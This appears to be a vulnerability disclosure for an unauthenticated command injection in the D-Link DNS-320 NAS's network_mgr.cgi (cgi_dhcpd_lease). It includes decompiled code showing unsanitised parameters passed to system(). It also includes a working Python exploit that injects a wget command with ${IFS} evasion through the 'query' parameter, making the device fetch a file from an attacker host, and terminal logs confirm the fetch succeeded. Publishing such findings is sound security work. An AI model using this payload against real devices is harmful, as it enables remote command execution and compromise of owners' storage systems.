D-Link DNS-320 network_mgr.cgi cgi_dhcpd_lease function Unauthenticated Command Injection Vulnerability

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

```
The network_mgr.cgi binary's cgi_dhcpd_lease
```

```
60      }
61      else if ( !strcmp(s, "cgi_dhcpd_lease") )
62      {
63        sub_C99C();
```

The function `sub_C99C` retrieves `page`, `rp`, `query`, and `qtype` parameters via `cgiFormString` and injects them directly into a `system()` call (`/var/www/cgi-bin/cmd_network cgi_dhcpd_lease ...`) without adequate sanitization, allowing remote attackers to execute arbitrary shell commands.

```
1 int sub_C99C()
2 {
3   char v1[128]; // [sp+10h] [bp-13Ch] BYREF
4   char v2[64]; // [sp+90h] [bp-BCh] BYREF
5   char v3[64]; // [sp+D0h] [bp-7Ch] BYREF
6   char v4[8]; // [sp+110h] [bp-3Ch] BYREF
7   _WORD v5[26]; // [sp+118h] [bp-34h] BYREF
8
9   v5[3] = 0;
10  v4[7] = 0;
11  v5[1] = 0;
12  v5[0] = 49;
13  v5[2] = 0;
14  strcpy(v4, "10");
15  v4[3] = 0;
16  v4[4] = 0;
17  v4[5] = 0;
18  v4[6] = 0;
19  cgiFormString("page", v5, 8);
20  cgiFormString("rp", v4, 8);
21  cgiFormString("query", v3, 64);
22  cgiFormString("qtype", v2, 64);
23  sprintf(v1, "/var/www/cgi-bin/cmd_network %s %s %s %s %s", "cgi_dhcpd_lease", (const char *)v5, v4, v2, v3);
24  system(v1);
25  msg_debug(v1);
26  return cgiHeaderLocation("/xml/lease.xml");
27 }
```

POC

```
import requests

ROUTER_IP = "192.168.31.10"
```

```python
MY_IP = "192.168.31.215"
MY_PORT = "8000"
FILE_NAME = "hack.txt"

def run_exploit():
    target_url = f"http://{ROUTER_IP}:80/cgi-bin/network_mgr.cgi"

    wget_cmd = f"wget${{IFS}}http://{MY_IP}:{MY_PORT}/{FILE_NAME}${{IFS}}-
O${{IFS}}/tmp/{FILE_NAME}"
    final_payload = f"x;{wget_cmd};"

    params = {
        'cmd': 'cgi_dhcpd_lease',
        'page': '1',
        'rp': '10',
        'qtype': 'mac',
        'query': final_payload,
    }

    try:
        requests.get(target_url, params=params, timeout=5)
        print("[+] Exploit sent successfully!")
    except Exception:
        print("[+] Exploit sent (check server logs)!")

if __name__ == "__main__":
    run_exploit()、
```

Attack

lqx.py > run_exploit

```python
FILE_NAME = "hack.txt"

def run_exploit():
    target_url = f"http://{ROUTER_IP}:80/cgi-bin/network_mgr.cgi"

    wget_cmd = f"wget${{IFS}}http://{MY_IP}:{MY_PORT}/{FILE_NAME}${{IFS}}-O${{IFS}}/tmp/{FILE_NAME}"
    final_payload = f"x;{wget_cmd};"

    params = {
        'cmd': 'cgi_dhcpd_lease',
        'page': '1',
        'rp': '10',
        'qtype': 'mac',
        'query': final_payload,
    }

    try:
        requests.get(target_url, params=params, timeou
        print("[+] Exploit sent successfully!")
    except Exception:
        print("[+] Exploit sent (check server logs)!"

if __name__ == "__main__":
```

OBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

```
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp> python .\lqx.py
] Exploit sent successfully!
```

C:\Windows\system32\cmd.exe - python -m http.server 8000

```
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>
D:\Desktop\temp>4
'4' 不是内部或外部命令，也不是可运行的程序
或批处理文件。

D:\Desktop\temp>python -m http.server 8000
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:192.168.31.10 - - [16/Mar/2026 22:39:00] "GET /hack.txt HTTP/1.0" 200 -
```